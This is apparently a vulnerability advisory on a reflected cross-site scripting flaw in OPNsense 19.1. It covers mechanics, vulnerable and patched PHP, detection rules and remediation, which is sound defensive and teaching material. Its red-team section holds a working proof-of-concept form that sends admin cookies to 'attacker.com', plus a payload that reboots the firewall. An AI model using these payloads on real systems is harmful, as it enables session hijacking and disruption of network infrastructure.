CVE-2019-25374

Executive Summary

CVE-2019-25374 is a reflected cross-site scripting (XSS) vulnerability in OPNsense 19.1, specifically within the vpn_ipsec_settings.php page. An attacker can craft a malicious POST request containing JavaScript payloads in the passthrough_networks parameter. When a victim (typically an authenticated admin) submits this request, the payload executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the OPNsense firewall. The vulnerability has a CVSS score of 6.1 (Medium) and is publicly documented with proof-of-concept code. No official patch was released for version 19.1; users are advised to upgrade to a later version.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It affects the OPNsense web GUI, which is a PHP-based application. The risk is primarily to the integrity of the firewall management interface.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must submit the crafted POST request)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the attack surface is exposed to unauthenticated attackers. The impact is limited to low confidentiality and integrity loss, but combined with other vulnerabilities, it could lead to full compromise.

Deep Dive & Mechanics

The vulnerability resides in the vpn_ipsec_settings.php script of OPNsense 19.1. The passthrough_networks parameter is used to specify IPsec passthrough networks. The application fails to properly sanitize or encode user input before reflecting it in the HTTP response. An attacker can inject arbitrary HTML and JavaScript by crafting a POST request with a malicious payload in this parameter.

Attack Flow:

1. Attacker crafts a POST request to vpn_ipsec_settings.php with a payload like <script>alert('XSS')</script> in the passthrough_networks parameter.
2. The attacker tricks an authenticated OPNsense admin into submitting this request (e.g., via a phishing link or form submission).
3. The server reflects the payload in the response without sanitization.
4. The victim's browser executes the script, allowing the attacker to steal session cookies, perform actions on behalf of the admin, or redirect to malicious sites.

Root Cause: Lack of output encoding for user-supplied data in the passthrough_networks parameter.

Vulnerable vs. Patched Code

Vulnerable Code (OPNsense 19.1):

// vpn_ipsec_settings.php (simplified)
$passthrough_networks = $_POST['passthrough_networks'];
echo "<input type='text' name='passthrough_networks' value='$passthrough_networks'>";

Patched Code (OPNsense 19.7+):

// vpn_ipsec_settings.php (simplified)
$passthrough_networks = htmlspecialchars($_POST['passthrough_networks'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='passthrough_networks' value='$passthrough_networks'>";

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Proof-of-Concept Exploit:

<!-- Save as exploit.html -->
<html>
<body>
<form action="https://target.opnsense/vpn_ipsec_settings.php" method="POST">
  <input type="hidden" name="passthrough_networks" value='<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'>
  <input type="submit" value="Click to exploit">
</form>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to an authenticated OPNsense admin.
3. When the admin submits the form, the JavaScript payload executes, exfiltrating cookies to the attacker's server.

Advanced Payload:

// Steal session and perform admin actions
fetch('/api/core/system/reboot', {method: 'POST'});

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP POST requests to vpn_ipsec_settings.php for suspicious passthrough_networks values containing <script> or onerror attributes.
2. Check web server logs for unusual referrers or user agents.
3. Use WAF rules to block common XSS patterns.

Lab Setup:

• Install OPNsense 19.1 in a virtual machine.
• Access the web GUI and navigate to VPN > IPsec > Advanced Settings.
• Use Burp Suite to intercept and modify the passthrough_networks parameter.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /vpn_ipsec_settings.php with passthrough_networks containing <script> tags.
  • Outbound connections to attacker-controlled domains from the OPNsense GUI.
• File IOCs:
  • Modified vpn_ipsec_settings.php file (if attacker gains write access).
• Log IOCs:
  • Web server logs showing passthrough_networks parameter with encoded or raw JavaScript.

Detection Engineering

YARA Rule

rule CVE_2019_25374_XSS {
    meta:
        description = "Detects XSS payload in passthrough_networks parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25374"
    strings:
        $xss_payload = /passthrough_networks=.*<script/i
    condition:
        $xss_payload
}

Sigma Rule

title: Reflected XSS in OPNsense vpn_ipsec_settings.php
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests with XSS payload in passthrough_networks parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: '/vpn_ipsec_settings.php'
        cs-params|contains: 'passthrough_networks=<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in network names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25374 OPNsense XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/vpn_ipsec_settings.php"; http_uri; content:"passthrough_networks"; http_client_body; pcre:"/passthrough_networks=.*<script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OPNsense to version 19.7 or later, which includes proper input sanitization.
2. If upgrade is not possible, apply a virtual patch using a WAF to block XSS patterns in the passthrough_networks parameter.
3. Restrict access to the OPNsense web GUI to trusted IPs only.

Long-term Fix:

• Implement output encoding for all user-supplied data in PHP using htmlspecialchars() or a templating engine.
• Conduct regular security audits of the web interface.

Workaround:

• Disable the IPsec passthrough feature if not needed.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT